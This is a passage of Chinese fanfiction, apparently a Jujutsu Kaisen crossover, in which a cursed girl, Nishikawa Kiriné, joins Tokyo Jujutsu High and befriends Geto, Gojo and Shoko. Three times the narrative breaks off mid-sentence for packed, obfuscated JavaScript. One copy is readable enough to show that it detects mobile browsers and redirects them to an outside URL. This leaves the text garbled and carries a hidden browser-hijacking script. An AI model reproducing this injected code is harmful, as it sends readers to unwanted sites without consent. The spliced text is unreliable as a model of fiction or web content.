收刀的西川雾音站直身体,她身上的气势也随之散去。她眼睛瞄向了正对面负责登记的后勤老师。 后勤老师琢磨了一下这个眼神,猜测着回答:“……已经登记成功了。” 西川雾音这才缓缓呼出一口气,整个人又回归到那种平和无害的状态。 五条悟站在后面兴致高昂,“喂,西川,你那什么雾之呼吸的,到底是什么东西?” 被唤了名字看过来的西川雾音先是疑惑,用眼神传达出“你谁”的疑问,然后才回答着:“雾之呼吸,是能够增强体质和免疫力的呼吸法。” 此时,刚刚被刀锋直指的半面墙壁才像是喘过来气,沿着深深的刀痕,塌了一半。 正坐在墙前登记咒力的后勤老师:“……” 只是增强体质和免疫力? 汗流浃背了。 夜蛾正道:“……只是登记咒力而已,倒也不用这么用力……维修费用就从你后面的任务酬金里抽吧。” “什、什么?”西川雾音难得结巴了一下,“月蛾老师,还要罚钱吗?” 西川雾音将口袋都翻出来,空空如也,然后双腿并拢,膝盖一弯,对着夜蛾正道就是一个土下座:“老师,墙我会修好的,请不要罚我的钱……” 夜蛾正道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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夜蛾正道抬起锤在五条悟头上的手,对西川雾音说:“我会帮你向学校申请提前预支费用。好了,别在这里堵着了,墙不用你们修是吧?快走快走——” 夜蛾正道说着就要打发几个人离开。 五条悟一边不满地揉着自己的脑袋,一边跟夏油杰对视一眼后,两人往门口一站,双手插兜挡住了大门。 五条悟:“喂喂,夜蛾,就这么把我们打发走了有点过分了吧?” 夏油杰也是温温吞吞的:“夜蛾老师,你是不是还漏掉了点什么?比如新同学的其他情况?” 夜蛾正道是真的头疼了。 这两个学生,一个是百年不遇的“六眼”,一个是百年难遇的“咒灵操使”,天赋异禀,什么都好,就是两个人凑在一起他就没安宁过。 不过夜蛾正道也没准备隐瞒,看了一眼西川雾音,无奈:“如你们所见,雾音是被诅咒了的人。” 夜蛾正道第一次见到西川雾音还是在四个月以前。 他在京都兵库县遇到了正独自一个人在废弃别苑里祓除咒灵的女生。 长刀插在准一级咒灵的脑袋上,将它死死钉在地上。 明明是那样丑陋的东西,女生掐住它的脖子任其在手下挣扎,面上也不曾流露过丝毫情绪,牵引着咒力将这只咒灵化成了一枚咒灵玉。 夜蛾正道只是看了一眼就发现了不对劲。 她拿着那枚咒灵玉,青天白日里,脚下的影子却在逐渐扭曲成型,庞大的诅咒的气味几乎将太阳都洇暗了几分,有风平地起,卷着落叶扫进了荒芜别院里。 是【特级过咒怨灵】。 女生头也没回,将那枚咒灵玉吞进了嘴里。 5. 第五章 应该是隆冬的某日,距离新年还差几天的时候。 西川雾音是冷醒的。 睁开眼,只有从窗户中映射进来的冷白月光模模糊糊照亮屋内的摆设。 她抱着被子坐起来,将一只脚探出床外踩在地板上,热烘烘的暖意便顺着脚心涌了上来。她索性将两只脚都伸到地板上。 捂了一会,感觉到下肢重新回暖后,困意也又蔓延上来。西川雾音抱着被子将下巴抵在柔软的被面上,困倦地看着屋内那一抹月光。 自从四年前被特级过咒怨灵附身后,随着情感被诅咒慢慢蚕食,她的体温好像也一同被吸走,哪怕在炎热的夏天或是冬天充斥着暖气的房间,她也极容易在深夜里因为骨头缝里泛起的冷意而惊醒。 周围的人似乎对她身体的变化也总是过于忧心,尤其是产屋敷大人。 她还记得她第一次告诉产屋敷大人自己总是很冷的时候,产屋敷大人的脸上露出的神情。 与以往的温柔平和不同,他沉然凝重地看着她,就像是之前与产屋敷大人一同外出时他曾露出的表情。 那时产屋敷大人在屋内与友人交谈,西川雾音坐在廊下看着院外不远处的几只野狗撕扯着一只兔子。鲜血混着涎水流了满地都是,直到屋内佣人出门看见,惊叫着赶走那些野狗。 西川雾音一回头就看见坐在屋内的产屋敷大人不知从什么时候起一直在望着她。 回去的路上,产屋敷大人问西川雾音:“为什么坐在那里看狗咬兔子?” 西川雾音乖顺地回答着:“因为很无聊,产屋敷大人在屋内谈事,没有人陪我。” 产屋敷大人问:“我记得雾音很喜欢小动物,以前看到小猫被狗围住都会将狗赶走,这次怎么没有去赶走野狗呢?” 西川雾音蹙着眉,似乎是在认真回忆,但最终茫然地看向他:“我不知道……为什么要赶走呢?” 产屋敷大人良久没有说话,一直走出去很远,他才说:“雾音,无论如何都不能忘记‘共情’的能力,这是属于人最基本的情感。不要被诅咒拽入深渊里。” 西川雾音将脚缩了回来,迷糊中想起来两三年前的这件事。 那之后产屋敷大人就找人教她祓除咒灵,教她通过吞下咒灵平衡诅咒的力量。也是那时候她才知道,原来自己身体里的诅咒一直在蚕食着她属于人的情感和五感。 可是她除了深夜里才能感觉到的钻进骨缝的冷意之外,什么感觉都没有,她察觉不了自己在慢慢失去些什么。 西川雾音拿起床边小几上摊开的信函。这是一封邀请书。 最上面是“东京咒术都立高等学校”的字样。 产屋敷大人说,等到来年春天,她会在这里有属于自己的朋友,她的朋友一定会教会她如何找回自己丢失的感情。 - 昏暗的灯点在小路两旁,微风和煦,圆月也静谧地挂在天上。 沿着教学楼一路走来,还能看到远处被轰塌的几个小楼。 西川雾音正走在两个新同学身边,不知怎么就想起了之前的事。 新同学还在一旁抱怨被罚的三千字检讨,然后两个人又一次为了“谁打塌的楼比较多,所以检讨应该由谁写”而争吵着。 然后战火就蔓延到了西川雾音身上。 “喂!”一根小树枝扫在西川雾音的脑袋上,“要不是你,我们两个也不会被罚,你别想给我置身事外!检讨你得写一半!” 西川雾音伸手挠了挠头发,摘掉一片叶子,看向旁边一手插兜,一手甩着树枝,正瞪着两只蓝眼睛看她的男生。她摸了摸头发:“我不会。” “哈?” “不用理他。”夏油杰抱着手臂走在另一边,对着西川雾音笑了笑,“像我们这种优等生,不会写检讨是很正常的事。” “哈?!”一旁比刚刚更大声地语气音响起,“我说杰,从开学到现在,我被罚写过三次,你也被罚写过三次吧?而且每次你都写得又快又诚恳,怎么优等生写检讨也是最优等吗?” 夏油杰微笑:“但凡国中时候国文课和写作课都认真听讲的人,应该都不会写不出一篇真心实意的检讨吧?悟你不会连国文课都不及格吧?” “国文?那是什么鬼?不好意思,老子从会说话开始,就是老头子请来的家教一对一辅导。”五条悟搔了搔耳朵,呵笑。 夏油杰握拳捶了下手掌:“哦,原来你连小学毕业证都没有。”然后他对正看着他俩斗嘴的西川雾音说,“西川同学,我们快走,小心被传染了变笨病毒。” 五条悟脑袋上白色的毛都竖起来了:“你说谁小学没毕业啊?!” 夏油杰完全不理他,拉住西川雾音低声道:“跳!” 西川雾音还没反应过来,身体已经跟着夏油杰一起跳起来,然后视野便挑高,整个人腾空而起。西川雾音愣了一下后,摸了摸身下坚硬的鳞片:“龙?” 夏油杰站在她旁边,笑眯眯点头,夜风将他额前的刘海吹得乱飞,他身后是银白的圆月。 男生声音疏朗,还带了些许高中生变声后的低哑,他看着西川雾音:“西川同学,记起我了吗?” 西川雾音坐在龙首上,仰头去看穿着黑色制服,脊背挺直的男生。因为诅咒的原因,她对大多数人和事都毫不经意,无论是那些擦肩而过还是有过短暂交集的人,在她的记忆里都是黑白色的无面人。 但现在,那张背着月光有些模糊不清的脸,被按在了记忆片段里那个盘踞在深巷中长龙旁的无头无脸的人身上。 夏油杰见她还在仰头一声不吭地看着自己,想了一下,从口袋里掏出了一枚墨色圆润的咒灵玉,然后将手掌摊开送到她眼前。 “西川同学,冒昧把你带到虹龙上来,是想先对今晚发生的意外跟你道个歉,没想到出现的会是你,我跟悟误以为你是诅咒师跟你打了一架,然后还……还……” 夏油杰的视线扫过轻飘飘的裙摆,眼神立刻移开,又咳了一下,“总之,想跟你重新认识一下,我是你的同班同学,我叫夏油杰,很高兴认识你,西川同学。” 男生站在她面前认真介绍自己的名字,西她听出了他的言外之意,他是想跟她做朋友吗?西川雾音想起了产屋敷大人的话。 【等到来年春天,雾音会在那里拥有属于自己的朋友。】 西川雾音低头看了看那枚咒灵玉,抬手覆了上去,然后借力站了起来,她没有松手,握着男生的大手上下轻轻摇晃了一下,认真道:“我记住你了,夏无同学。我叫西川雾音,很高兴跟你做朋友。” 夏油杰看了她两秒后,突然侧过脸用另一只手遮在嘴前噗笑出来:“……抱歉抱歉,因为你的话听起来很像是要约我打架,而且我叫夏油,不是夏无。” 名字都记错的人,却信誓旦旦地说我记住你了,这种反差让夏油杰忍不住直笑。 “啊……”西川雾音对于自己总是记错别人名字这件事虽然习以为常了,但她还是解释着,“夏……夏油同学,我不是故意记错你的名字。因为诅咒的原因,感情又通常是跟记忆连在一起,所以我的情感被诅咒偷偷吃掉的同时,记忆也会有些模糊不清。但是我一定会记住你的名字的。” 西川雾音为了表达自己的诚意,想了想又叫了一次对方的名字:“夏油……夏油杰。” 面对着女生澄澈的目光,被完整叫出名字的夏油杰不由自主地在对方被风吹得凌乱的脑袋上看了几眼,垂在一边的手指蜷了蜷,然后又不动声色地移开视线:“夏油确实不太好记,叫我杰好了,我的朋友都是这么叫我的。我们是朋友了对吧?” 西川雾音听了他的话,对他露出一个笑容:“杰。” 两个人并排坐在龙身上,穿梭在云雾里,好像连高高挂在天上的月亮都触手可及。 西川雾音往耳后捋了捋被吹乱的头发,漂亮的浅碧色眼睛也无意识地弯着。 她看上去心情还不错。 夏油杰坐在一旁时不时看她一眼,左手一直摩挲着那枚咒灵玉,想起了夜蛾老师在后勤办公室说的话。 父母都被诅咒师残害,只有她一个人活下来却被特级过咒怨灵附身。四年来诅咒每时每刻都在吞噬着她属于人的情感,令她几乎失去了对周围人共情的能力,五感也渐渐消退。 而当她完全失去感情,也丧失知觉时,咒灵就会占据她的身体,到那时就会由高专的人来祓除她。 但夏油杰听懂了夜蛾正道的潜台词,夜蛾老师不想放弃他的学生。 “好像忘记跟你说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13706630|144506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”西川雾音听到声音侧头,就看到男生正转着那枚她送出去的咒灵玉。咒灵玉被骨节分明的手指捏住,对着她晃了晃,夏油杰笑了一下,“我祓除咒灵的方式是吃下咒灵玉。” 西川雾音愣了一下:“杰也会吃咒灵玉吗?” “嗯。”夏油杰点头,“因为我是咒灵操使,能够通过吞下咒灵玉将降伏的咒灵收归己用。” 西川雾音歪着头看他:“那你现在收服多少个咒灵了?” 夏油杰手指抵着下巴看着她笑:“秘密。” 西川雾音眨了下眼睛,并不介意对方的隐瞒,她的视线重新落回到远处城市里的霓虹灯光上:“很难吃。” “嗯?”夏油杰还没反应过来。 西川雾音抬手顺了顺凌乱的长发,这次说的多了点:“咒灵很难吃。像是喝醉的人的呕吐物,刺激着舌头、鼻腔和眼睛,眼泪会不停地往外流。我不喜欢。但是产生咒灵的负面情绪可以与诅咒所需要吞噬的情感勉强持平,我想活得更久一点,所以就算难吃也会吃下去。” 她嘴上说着不喜欢,脸上却没有什么厌恶的表情,语气也很平静,就像是在说今天天气很好一般,甚至看不到她所说的想要活下去的渴望。 但是夏油杰知道她是认真的。 “……抹布。” 在他反应过来之前,已经不由自主地脱口而出了。那双浅碧色的眼睛看了过来,夏油杰与她对视了片刻后才慢慢开口:“是扔进了下水道里擦拭呕吐物的抹布的味道。” 说完他先移开了视线。 夏油杰从没有跟别人提过咒灵的味道。 是很臭、很恶心的味道。每一次塞进嘴里那种冲鼻的味道都会让整个喉管和肠胃扭曲蠕动,身体在疯狂地阻止他下咽,但是理智让他坚持吞了下去。因为只有吃下咒灵玉才能变强。 他在第一次吃下咒灵玉的时候眼泪就不由自主地流了下来。一方面是生理上的刺激,另一方面是真的太难吃了。 在骄傲与自矜下,他打心里不希望别人知道他这样的“城市英雄”、“百年难遇的咒灵操使”,实际上的每一次变强都是煎熬的。 “嗯……好像也很形象。不过我说的都是我之前的感受了,我现在已经几乎尝不出它是什么味道了。”西川雾音似乎是在想象下水道里擦拭过呕吐物的抹布的味道,然后她对着夏油杰抿唇笑了一下,“没想到杰会跟我有一样的经历,这还是我第一次遇到跟我一样会吃咒灵玉的人。果然,我们应该做朋友的。” 说这些话的时候,那双眼睛里什么多余的情绪都没有,只有一汪倒影着月光的碧潭,既没有什么同病相怜的怜悯,也没有失去味觉的自怨自艾。她只是在简单的陈述事实。 夏油杰与她对视了一会,突然笑了起来。 西川雾音茫然地看着他笑。 夏油杰仰头看月亮,唇角眼尾是掩不住的笑意:“我只是觉得……你说的很对,我们就应该是朋友才对,雾音。” 先被对方说出了这种类似“我们是同类”的话,夏油杰却觉得有种难言的默契。 他含笑侧头看向一边的西川雾音,并没有在这个话题上继续深入,见她喜欢虹龙,想了想:“还想要再高一点吗?” 西川雾音立马扭头看他:“可以吗?” 夏油杰抿唇一笑,语调不急不缓,但狭长的眼尾里却带了几分少年人张扬的傲意:“当然可以。你想的话,飞多高都可以。” 随着他的话音落下,虹龙也昂首摆尾,直上云霄。 风呼啸着穿过耳边的长发,西川雾音忍不住小声地叫了一下。这是西川雾音第一次飞在天上,也是西川雾音第一次在情感被诅咒不停吞噬的情况下产生了些许兴奋的情绪。 她的心跳微微加速,坐在龙身上,眯着眼睛吹起夜风。 夏油杰注意到她神情的变化,笑了一下:“如果你喜欢的话,下次还想坐可以告诉我。” 西川雾音笑起来,浅碧色的瞳眸漾着月光。她想,是的,这是开心的感觉,她已经很久没有这种感觉了。 她看着新朋友:“谢谢你,我很喜欢,也很高兴。” 至于夏油杰之前答应了夜蛾老师绝对不会在城市里骑着咒灵飞这种事……啊,检讨也不差这一次了。 6. 第六章 坐在龙上飞确实是一件让人兴奋的事。 但前提是西川雾音没有忘记自己什么都没有带,只带了把日轮刀就来了学校。 学校宿舍只提供最基础的床单枕头被褥,其他洗漱用品和衣服都是学生自行准备。 坐着龙兜风兜到十点半,后勤办公室都关了门,连床单被罩都没得拿的西川雾音站在空荡荡还没有打扫过的宿舍发懵。 夏油杰在一旁拿着手机分别给两个同期发消息,好在大家都是喜欢晚睡早起的健康高中生。 最后西川雾音被家入硝子收留,住在了她的宿舍里。 不知道是不是到了新环境的原因,西川雾音躺在床上一直睡不着觉。家入硝子就睡在她的旁边,雾音甚至能听到她平稳清浅的呼吸。 记忆里上一次与别人同睡在一起还是四年前。那时候变故还没有发生,父母都还陪在身边。尽管已经长大,但她仍会时不时与父母睡在一起。她睡在中间,妈妈和爸爸睡在自己的两边,哪怕在睡梦中也是以保护的姿态围着她。 西川雾音很久没有想起自己的父母了。 她一直平稳的心绪突然的就松动了起来,随着她情绪的起伏,身上一直被压制的诅咒也蠢蠢欲动,西川雾音忙收敛心绪,平躺在床上,慢慢地吞气吐气,让呼吸绵长起来。有白雾从嘴边慢慢溢出,维持着全集中呼吸后,诅咒又重新安静下去。 西川雾音放空自己的大脑,什么都不再想,让自己进入睡梦中。 西川雾音不知道的是,在她睡着以后,睡在她旁边的家入硝子突然睁开一条细缝。 家入硝子有些紧张。 因为她感觉到从新同学的身上慢慢溢出的恐怖又危险的气息。 像是有什么东西顺着床单流到地上,在地板上汇聚成可怖的影子,将窗帘外泄露的那丝月光都遮挡得严严实实。 家入硝子屏住呼吸,用眼角的余光去瞥。但可惜她什么都看不到。 但她能想象到那东西站在新同学的床边,像一个石头般伫立在那里,一动不动。 西川雾音是被手机的闹铃声惊醒的。 睁开眼睛看到陌生的天花板才意识到自己已经在昨天就到达了高专。 一只手按掉了闹铃,家入硝子困倦地从床上坐起来,一头柔顺的棕发都睡得毛乱起来:“早……” 她打着哈欠跟西川雾音打招呼。 西川雾音也坐了起来,她看着好像比自己还要困乏的家入硝子,有些疑惑:“早上好硝子,你昨天没有睡好吗?” 家入硝子听到问话,看着她叹了口气。 “所以,你的意思是,在雾音睡着之后,她身上的诅咒其实会自己跑出来?” 阳光打在木质地板上,四个人或站或坐在西川雾音和家入硝子的座位旁边,听着家入硝子讲述昨天晚上发生的事。 夏油杰手抵着下巴,若有所思:“雾音知道这件事吗?” 西川雾音摇摇头。 她自然不知道这件事。 因为呼吸法,诅咒一般会被压制在身体里,往日里除非是她情绪过于波动,诅咒都不会跑出来。 西川雾音蹙起眉,面上难得流露出些许沉思。她沉吟了一下:“这也是我第一次听说这件事,之前从来没有人跟我提起过……如果是真的,我猜产屋敷大人应该知道。” 从四年前被产屋敷曜哉救了之后,雾音就一直跟随产屋敷大人一起生活。她从来没听产屋敷大人或者照顾她起居的佣人提起过这件事,但她刚去产屋敷时,因为创伤应激,产屋敷大人曾照顾过她一段时间。 “产屋敷?”家入硝子和夏油杰互相对视一眼,“谁啊?” 西川雾音解释着:“产屋敷大人是我现在的监护人。” “产屋敷?!”与他们两个反应不同的是五条悟,他原本往后仰靠在椅背上,双脚蹬在桌子上正一前一后的晃荡着,听到“产屋敷”的名字,人都坐直了。 家入硝子和夏油杰立刻扭头去看他,等着五条家族出来的大少爷为他们答疑解惑,然后就看到五条家的大少爷手抵着下巴,沉思片刻后:“啊——谁来着……” 家入硝子:“……” 夏油杰:“……” 五条悟辩解:“不是,这名字真的很耳熟,我肯定听说过,就是想不起来了!” 夏油杰选择无视他,看向西川雾音:“你要跟这位产屋敷先生联系一下吗?如果他知道但没有提起过,就说明诅咒在睡着后出现这件事应该是可控的,倘若他也不知道,就说明雾音你身体的诅咒也许发生了一些我们尚不清楚的变化。” 西川雾音认可了夏油杰的话,也觉得跟产屋敷大人联系上会比较好。于是西川雾音抬头看向面前三个人。 四个人大眼瞪小眼。 五条悟先不耐地催促她:“看我们干什么,你倒是打电话啊!” 西川雾音:“啊?” 五条悟露出不可置信的表情:“啊什么啊?你这傻子不会连手机都没有吧?” 西川雾音摸了摸自己的口袋。 沉默。沉默。 五条悟发出爆笑:“哈哈哈哈哈哈哈哈救命为什么这么搞笑……你是从哪个山里出来的野人吗?竟然连手机都没有哈哈哈哈,杰你看她,真的太搞笑了……” 夏油杰一脸正经地捂着嘴:“悟,你笑得太大声了。”他笑的小声多了。 还是家入硝子拿出了自己的手机借给西川雾音:“你们两个,真是人渣啊。” 五条悟不满:“老子哪里人渣了啊硝子,哪有二十一世纪还没有手机的人啊!她是老古董还不够好笑吗?” 被同期嘲讽后的夏油杰决定做个人了:“悟,要说老古董的话,开学第一天穿着羽织来的你也不逞多让。” “有意思,”五条悟搓了搓自己的手指,蓝色的火花示威般打着闪,“你这土的冒泡的怪刘海在说谁老古董呢?” “怪刘海?”夏油杰竖起两根手指,眉眼斜挑,身后涌现出一团黑色雾气,一只巨大的眼珠子在其间转动着,“看来我们有必要出去谈一谈。” 五条悟翻着白眼吐着舌头:“要去你自己去啊,老古董怪刘海。” “啊呀,又要有大麻烦了,我们快远离战场。”尽管才入学半个月,但是已经对两个同期的脾气有了解的家入硝子揽过西川雾音的肩膀,带着她坐在了教室一边的窗台上,“手机你尽管用好了,等下了课我可以陪你去市里买东西,正好你的衣服和洗漱用品还没有。” 西川雾音对着可靠的女同学点点头,拿起家入硝子的手机拨打了烂熟于心的电话号码。 但是可惜的是,电话是佣人接通的。产屋敷大人有事外出了,要三四天后才能回来。 “雾音小姐,需要帮您用鎹鸦联络产屋敷大人吗?”佣人在电话那边恭敬问着。 西川雾音想了想还是拒绝了。如果用鎹鸦才能联系到产屋敷大人,那么他一定是有事不方便联络:“不用了,我会等大人回来后再联系他。” 挂断电话,旁听的家入硝子歪头看她:“没联系上吗?” 西川雾音摇摇头:“过几天吧。” 而另一边的已经你推我我推你就要互相推搡着出门的五条悟突然脚步一顿:“我想起来了。” 夏油杰表情不怂:“啊?” 五条悟扭头看向西川雾音:“我想起来产屋敷是谁了。产屋敷曜哉,是这个名字吗?” “是的。”西川雾音有些讶异,“你真的认识产屋敷大人?” 原本一只脚都迈出教室门的五条悟身子一转又走了回来,还不忘揽着夏油杰的肩膀一起给带回来:“我不认识,但是我家的老头子们应该都认识。已经解散了的鬼杀队当主就是出自产屋敷一族,对吧?” 家入硝子和夏油杰对视一眼:“鬼杀队,那是什么?” 重新做回了椅子上的五条悟吊儿郎当地甩着自己的小墨镜,挑眉:“求老子。” 夏油杰果断地越过他看向西川雾音:“雾音,鬼杀队是什么?” “喂喂——” 西川雾音思考了一下:“千年前,产屋敷一族出现了一个人类的叛徒。他为了活着,将自己变成了吃人肉才能活下去的‘鬼’,并且能够用自己的血将其他人也改造成‘鬼’。这些鬼都拥有不老不死且强韧的□□,只有阳光和砍掉他们的脖子才能够杀死他们。为了杀灭鬼也为了改变产屋敷一族的命运,产屋敷成立了鬼杀队。一百年前,最后一任鬼杀队队员成功杀死了鬼之始祖鬼舞辻无惨,鬼杀队自此解散。” 夏油杰若有所思:“听起来跟吸血鬼很像啊。” 五条悟打了个响指:“不愧是老子的挚友,跟老子想到一起去了。可惜那什么鬼之始祖一百多年前就死了,不然老子倒是要试试到底是他的身体硬,还是老子的【苍】更硬。” 夏油杰露出一言难尽的表情:“……我说悟,在女生面前你的用词能不能不要那么粗俗,还有,不要总是自称【ore】,用【boku】或者【watashi】才不会让比你年纪小的人感到害怕。” “啊?老子最讨厌别人对我说教,所以你能先改改对老子的态度吗?”五条悟伸出手点了点夏油杰,然后挑衅地勾了下手指,“而且,你说的年纪小的人,不会是你自己吧?” 比五条悟和家入硝子都要小一岁的夏油杰微笑起来。 家入硝子果断跳下窗台,还不忘拉着西川雾音一起:“跑咯——” 由于两个DK一言不合就开打,从教学楼一路打到下节课上实训课的训练场。 乒乒乓乓的,直到被夜蛾老师用爱指导才老实下来。 再次喜提三千检讨的两个人,顶着头上红肿的包坐在训练场边的长椅上。 因为硝子拒绝将反转术式浪费在这两人身上,两个男生只好龇牙咧嘴地拿着贩卖机里冰镇的气泡水贴在青紫的脸上。 三个人坐成一排看着场内正在跟夜蛾正道对练的西川雾音。 西川雾音被单独喊进了训练场里,在不能使用武器,也不能使用咒术的条件下,跟夜蛾老师比格斗技法。 要知道就算是夏油杰和五条悟,单纯比格斗的话都打不过夜蛾老师,更不用说西川雾音了。 五条悟一边呲着牙嘶气一边眼睛盯着场内:“杰,你下手真的好重啊,痛死了……这家伙还可以啊,能在夜蛾手上过这么久。” 夏油杰没有他那么夸张,用冰凉的汽水瓶贴着有些肿胀的下颌,虽然也在望着内场,但是神色平静很多:“你忘了吗,雾音可是能一个人在我们两个的攻击下都不落下风。” 五条悟歪着头想了想,觉得有道理,但是—— 他扭头将视线落到了自己的好友身上:“杰,你刚刚叫她什么?” 夏油杰轻眨了下眼睛,侧头回望他,微微挑眉露出一个笑容:“雾音啊。” 另一边再一次被一只手撂倒在地上,西川雾音喘着气仰躺着,认真道:“夜蛾老师,你很厉害。” 终于被叫对了名字的夜蛾正道有些欣慰的伸出一只手将她拉起来:“毕竟是比你多活了十几年的人。雾音你的反应和速度都很不错,就是近身搏斗弱了些,及格了。后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“嗯……嗯就是刚刚那个动作,很容易就会被跟你近战的人抓住把柄,”夏油杰将那只手握拳放在嘴边轻轻咳了一下,很快又正色道,“不过问题不是很大,将这几个小习惯改掉就可以了。你可以试着在起式的时候这样站……然后手放在这里……对,就是这样。” 西川雾音听得很认真,因为比男生要矮上一个头,所以在对方讲解的时候总是仰着头看他,这时她额前的碎发也会乖顺地分向两边,露出女生光滑白皙的额头和细长秀气的眉眼。 在讲到重点时,她还会认真的点头,那几缕碎发又会俏皮地随着她的动作上下跃动,而不管她如何动作,那双浅碧色的眼睛始终跟随在夏油杰的身上,清晰地倒映出他的样子。 ——真的太乖了。 饶是自认在初中时颇受欢迎的夏油杰,都有些顶不住这样的目光。 “……要不然你来试试?”夏油杰有些不自在地微微移开视线。 “我吗?”西川雾音微微张唇,“好的。” 她站在原地仔细地又回忆了一下刚刚夏油杰教的技巧,学着他刚刚的样子起了个式,然后就竖起手掌劈向了夏油杰。 夏油杰游刃有余地侧身躲开,颇为赞赏地点点头:“是这样。继续。” 西川雾音沉住气,与夏油杰你来我往的过了几招,然后突然伸出手要抓住对方的手臂和肩膀,同时脚伸上去绊他的腿,但没想到夏油杰直接反扭住她的手臂,脚下更是纹丝不动。 西川雾音眼见着绊不到他,便借着被扭手臂的力度,直接一个跃起,在空中翻转身体,用双腿勾住夏油杰的脖子将他反绞着压在了地上。 ——原本是绊不倒的,奈何女生又一次忘记了她穿的是裙子。 砰的一声巨响,尘土飞扬。 西川雾音坐在夏油杰的身上,白色裙摆轻飘飘落下,罩在夏油杰的头上。 夏油杰:“……” 历史总是如此相似。 略有些凉的细滑皮肤紧贴在自己的脸颊两侧,夏油杰连眼睛都不敢睁,呼吸都停滞起来,就怕自己呼气喘气都会冒犯到对方。 “啊,抱歉!”西川雾音忙将自己的裙子从夏油杰的头上拽下去,“杰,你还好吗?” 轻滑的布料从脸上扫过,夏油杰仍不敢睁眼,他不安地扭了下脖子,侧了侧头:“……你先下来。” 雾音忙从男生的身上爬下来,另一边听到动静的五条悟和家入硝子也围了过来。 五条悟只用了“哇哦”这一个语气词表达了所有意思,然后就咂着嘴啧啧地围着夏油杰来回看。 脸红耳热的男生被五条悟看得有些恼羞成怒,捏着拳头噼啪响,还是硝子过来扯着没眼色的五条悟往旁边走,才避免了又一场“大战”。 好不容易坐起身的夏油杰单手捂着脸,用垂下来的刘海遮住自己另一半泛红的脸。 不明所以的雾音还以为是自己刚刚弄伤了对方,蹲在旁边,伸出手拂开男生额前的发丝,担忧地望着他:“你没事吧?” 夏油杰反倒被对方惊了一下,颇有些狼狈地往后仰身躲开了雾音的手,侧过脸:“没事……我没事。雾音很厉害,一下子就将我绊倒了。” “杰——你说什么——你被女生的裙子绊倒了?——” 不嫌事大的五条悟站在另一边将手拢在嘴边,毫不吝啬地大声嘲笑着自己的同期。家入硝子直接摊手表示拦不住。 夏油杰的额头立刻崩出了青筋,他努力维持着笑容:“不要理他……雾音,你刚刚做的很好,就是,嗯……下次再跟男生对练的时候,最好尽量不要在穿裙子的时候用这招……” 西川雾音后知后觉到对方的窘迫,忙点点头,犹豫了一下,又加了一句:“我只在绊倒杰的时候穿裙子了。” 适得其反。 夏油杰单手捂住脸,又一次把脑袋垂了下去,刘海轻飘飘遮在眼前,他涨红了脸,说不出话来。 7. 第七章 “所以,你准备定制一件什么样的校服?” 家入硝子凑到西川雾音的桌子旁,看着她面前摆着的一张校服定制申请单,“高专的校服是特制的,能更好的贴合和保护咒术师的身体,而且未来三年几乎每天都要穿,所以最好选一个自己喜欢的款式哦。” 西川雾音想了想:“什么样子都可以吗?” 家入硝子点头,站直身体给雾音展示她身上的校服:“什么样子都可以。如果你实在不知道选什么,可以跟我一样,我就是随便挑了一个基础款型。反正都是黑色。” 西川雾音用笔轻轻敲了敲自己的脸:“那就我身上这件裙子吧,我很喜欢这个。” 正巧进门的男高中生听到这句话,蓝眼睛立刻就扫了过来,叼着根雪糕,直接一屁股坐在了雾音的桌子上,含混不清道:“你俩聊什么呢?什么款式?……哦,校服啊。” 白毛脑袋直接嚣张地将大长腿抵在旁边的桌子上,向雾音展示着自己的衣服:“老子的怎么样,是不是超帅?可以借你抄抄。” 雾音的目光刚落到男生黑色的校服紧身裤上,松松垮垮的灯笼裤就从旁边抢走了雾音的视线。 拎着塑料袋,刚走进来的的夏油杰单手插兜,看着横在自己身前的长腿,颇有些无奈:“悟,有说过好几次了吧,不要把你的脚放到别人的桌子上,未免太失礼了。” 五条悟仰着脑袋,隔着小圆墨镜露出蓝眼睛看他,语气纯真又可恨:“杰是我妈妈吗?” 夏油杰神色不变,直接用手捋开了身前交叠在一起的腿:“也不是不可以。毕竟你连洗澡换浴巾都要喊我帮你。” 家入硝子:“哇哦。” 西川雾音:“五条同学不会洗澡吗?” 家入硝子扭头看了一眼雾音,被她逗得直笑。 而白毛脑袋则在后面几哇乱叫:“说谁不会洗澡呢!只是拿浴巾而已!” 夏油杰无视满地撒泼的幼稚小孩,将手里的雪糕分给家入硝子和西川雾音,看到了桌子上的表:“在选校服款式吗?” 家入硝子将雪糕翻过来,看到是咖啡味,对夏油杰竖起了大拇指:“正在选。雾音你可以问问夏油的意见哦,那边那只的校服就是夏油妈妈帮他选的款式。” 硝子指了指身后还在胡搅蛮缠的白毛脑袋。 西川雾音正小心地撕开雪糕外包装。咬了一口,是冰凉凉的抹茶味,可惜的是在她嘴里甜味都变得很淡了。 她听到硝子的话,仰头看向站在面前的夏油杰,稍稍有些惊讶:“杰的校服也是自己设计的吗?很好看,我很喜欢杰的裤子。” 这条灯笼裤是夏油杰熬了两个大夜,翻了好几本潮流杂志才最终敲定的款式,在高专可以说是独一无二了。 突然被新同学夸奖,夏油杰有点高兴,但是他克制住了情绪,只是站得更直了一些,不经意地将自己的裤子展现出来。 他语气微微上扬,带了一点不易察觉地矜傲:“谢谢,我也很喜欢。雾音有什么喜欢的样式吗?不介意的话我也可以帮忙作参考。” 西川雾音想了想,从位置上站起来,往后退了几步,把自己身上的这件白裙子展现给几个人看:“这个怎么样?我身上的这件裙子如果做成校服的话,可以吗?” “哈?你是认真的吗?”夏油杰还没发表意见,打了半天滚都没人理的白毛脑袋又凑过来,叉着腰,蓝眼睛上下扫着雾音身上的裙子,嘴巴一撇,毫不顾忌道,“超丑诶——像是上个世纪的老古董一样,你是从哪里买来的啊?” 